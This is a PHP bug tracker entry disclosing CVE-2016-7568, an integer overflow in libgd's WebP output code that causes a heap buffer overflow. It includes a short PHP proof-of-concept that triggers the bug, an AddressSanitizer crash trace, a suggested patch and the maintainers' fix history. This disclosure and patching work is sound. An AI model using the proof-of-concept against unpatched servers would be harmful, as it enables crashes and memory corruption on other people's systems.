php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73003 Integer Overflow in gdImageWebpCtx of gd_webp.c
Submitted: 2016-09-02 12:52 UTC Modified: 2016-09-29 07:33 UTC
From: stackexploit at gmail dot com Assigned: cmb (profile)
Status: Closed Package: GD related
PHP Version: 7.0.11 OS: Ubuntu
Private report: No CVE-ID: 2016-7568
 [2016-09-02 12:52 UTC] stackexploit at gmail dot com
Description:
------------
PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep  2 2016 18:11:16) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


CONFIGURE LINE
-----------------------
./configure --with-gd --with-webp-dir --enable-static --enable-cli --disable-shared --disable-all


OTHER INFORMATION
-----------------------
Before compile the php source code, we must install libwebp first. The proof-of-concept file I supplied may consume lots of memory. To reproduce this issue more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND heap management.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
This is an integer overflow issue which could lead to heap buffer overflow (out-of-bounds write) circumstances. The bad code lies in function gdImageWebpCtx of file gd_webp.c. At line 123 we can see the following code.

argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));  // integer overflow!!!

There is no overflow check before calling the gdMalloc function. Actually, an integer overflow can be happened here. For example, 0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000. The buffer will be overflowed in the following for-loop.

for (y = 0; y < gdImageSY(im); y++) {
    for (x = 0; x < gdImageSX(im); x++) {
        register int c;
        register char a;
        c = im->tpixels[y][x];
        a = gdTrueColorGetAlpha(c);
        if (a == 127) {
            a = 0;
        } else {
            a = 255 - ((a << 1) + (a >> 6));
        }
        *(p++) = gdTrueColorGetRed(c);    // heap buffer overflow!!!
        *(p++) = gdTrueColorGetGreen(c);  // heap buffer overflow!!!
        *(p++) = gdTrueColorGetBlue(c);   // heap buffer overflow!!!
        *(p++) = a;    // heap buffer overflow!!!
    }
}


SIMPLE PATCH
-----------------------
Add the following code before line 123. In other words, call function overflow2 to check if overflow exists or not before calling function gdMalloc.

if (overflow2(gdImageSX(im), 4)) {
    return NULL;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return NULL;
}


CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    $im = imagecreatetruecolor(0x8000, 0x8001);
    imagewebp($im, 'php.webp');
    imagedestroy($im);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
    #0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
    #1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
    #11 0x469856 in _start ??:0:0

0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
    #0 0x4f0812 in malloc ??:0:0
    #1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
    #2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
    #3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2583==ABORTING

Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-02 12:58 UTC] stackexploit at gmail dot com
To correct the patch code: just return when overflow was detected.

if (overflow2(gdImageSX(im), 4)) {
    return ;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return ;
}
 [2016-09-03 08:23 UTC] stas@php.net
-Assigned To: +Assigned To: pajoye
 [2016-09-03 08:23 UTC] stas@php.net
Looks like libgd issue, please report upstream.
 [2016-09-06 11:23 UTC] stackexploit at gmail dot com
This issue has been reported to upstream maintainer. 

Also, I submitted a patch for php-src repository in github. The patch is available at https://github.com/php/php-src/pull/2119 .
 [2016-09-12 10:18 UTC] stackexploit at gmail dot com
-PHP Version: master-Git-2016-09-02 (snap) +PHP Version: 7.0.10
 [2016-09-12 10:18 UTC] stackexploit at gmail dot com
Update 'PHP version' to stable version 7.0.10
 [2016-09-16 09:17 UTC] cmb@php.net
-Summary: Integer Overflow (Out-Of-Bounds Write) in gdImageWebpCtx of gd_webp.c +Summary: Integer Overflow in gdImageWebpCtx of gd_webp.c -Status: Assigned +Status: Verified -Assigned To: pajoye +Assigned To: cmb
 [2016-09-16 09:59 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=46df0642618eabc5b5b7df490d1ae23bda00a745
Log: Fix #73003: Integer Overflow in gdImageWebpCtx of gd_webp.c
 [2016-09-16 09:59 UTC] cmb@php.net
-Status: Verified +Status: Closed
 [2016-09-18 01:45 UTC] stackexploit at gmail dot com
Could you please help assign a CVE number for this issue?
 [2016-09-19 10:59 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: kaplan
 [2016-09-19 10:59 UTC] cmb@php.net
Lior, can you please take care of the CVE assignment.
 [2016-09-21 02:17 UTC] stackexploit at gmail dot com
-PHP Version: 7.0.10 +PHP Version: 7.0.11
 [2016-09-21 02:17 UTC] stackexploit at gmail dot com
It seems that this issue did not get fixed in PHP 7. The following patch should be work for PHP 5.

> [2016-09-16 09:59 UTC] cmb@php.net
> Automatic comment on behalf of cmbecker69@gmx.de
> Revision: http://git.php.net/?p=php-src.git;a=commit;h=46df0642618eabc5b5b7df490d1ae23bda00a745
> Log: Fix #73003: Integer Overflow in gdImageWebpCtx of gd_webp.c
 [2016-09-21 02:19 UTC] stas@php.net
-Assigned To: kaplan +Assigned To: cmb
 [2016-09-21 09:49 UTC] kaplan@php.net
If the bug already reported upstream (libgd), I think they should have a CVE assigned. What's the upstream bug number?
 [2016-09-21 09:57 UTC] cmb@php.net
For libgd there only was a PR: <https://github.com/libgd/libgd/pull/296>.
 [2016-09-21 10:20 UTC] stackexploit at gmail dot com
Thanks. I'll submit a issue for libgd later. I will notify you if a CVE number has been assigned.
 [2016-09-29 00:37 UTC] stackexploit at gmail dot com
Hello, CVE-2016-7568 has been assigned to this issue. Thanks.

oss-security: http://www.openwall.com/lists/oss-security/2016/09/28/7
libgd issue: https://github.com/libgd/libgd/issues/308
 [2016-09-29 07:33 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-7568
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=46df0642618eabc5b5b7df490d1ae23bda00a745
Log: Fix #73003: Integer Overflow in gdImageWebpCtx of gd_webp.c
 [2021-03-24 06:47 UTC] 1518855636 at qq dot com
The following pull request has been associated:

Patch Name: fix typo: mysqlx => mysqlx_x
On GitHub:  https://github.com/php/pecl-database-mysql_xdevapi/pull/8
Patch:      https://github.com/php/pecl-database-mysql_xdevapi/pull/8.patch
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Nov 29 23:01:28 2024 UTC